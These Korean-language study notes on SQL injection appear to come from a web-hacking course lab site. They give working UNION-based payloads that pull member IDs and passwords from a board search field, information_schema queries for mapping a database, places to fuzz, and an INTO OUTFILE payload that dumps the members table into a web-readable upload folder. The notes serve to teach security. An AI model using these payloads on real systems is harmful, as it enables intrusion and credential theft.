SQL INJECTION
tip)error message가 잘나오면 공격이 쉬워짐
A-------------->B => A + B 검색모듈
검색모듈 [Union 삽입] 추가
SQL, 운영체제, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 질의문의 일부분으로서 인터프리터로 보내질 때 발생한다. 공격자의 악의적인 데이터는 예상하지 못하는 명령을 실행하거나 적절한 권한 없이 데이터에 접근하도록 인터프리터를 속일 수 있다.
board_search.html
select * from board where b_subject like '%keyword%'
$keyword -> 'union select m_id, m_pw, 1,1,1 from members#
=> select * from board where b_subject like '%'union select m_id, m_pw, 1,1,1 from members#%
in /board.php
aa' union select m_id, m_pw, 1,1,1 from members# // 칼럼수를 위해 1 // 끝표시로 #
union 사용시 ) mysql의 경우, column count 만 필요
oracle, mssql의 경우, column count, column type 필요
MYSQL
(database 구조설명)
>use information schema; // 관리자 권한으로 전부다 보기
>desc tables;
>select table_schema, table_name, from tables (where schema = funshop_db); // table 뽑기
>select distinct table_schema from tables; // db 뽑기
>desc columns;
>select tables_schema, table_name, column_name, from information_schema, columns (where table_schema='funshop_db' and table_name='members'; // table 뽑기
- 새 관리자에게 모든 권한을 주기 (해당 database 내에서)
>grant all privileges on funshop_db to 'fun_admin','local host' identified by '1234(pw)'
>show grants; // 부여된 권한 확인
>revoke usage on *, * from 'fun_admin'@'local host'; //root에서 fun_admin 권한뺏기
<공략포인트 Fuzzing >
; tool- Fuzzer ; 무작위 데이터 입력 방식 ; url Encoding
- hidden field : input type
- get paramite(url)
- cookie 값에
outfile
>select * from members into outfile 'text.txt'; // '/var/www/html/UPLOAD/member.sql' 에 출력결과가 file로 저장
ex) /board_write.html // kk%,1,1); select * from members into outfile '/var/www/html/upload/member.sql'#
확인) 주소창에 ip/upload/member.sql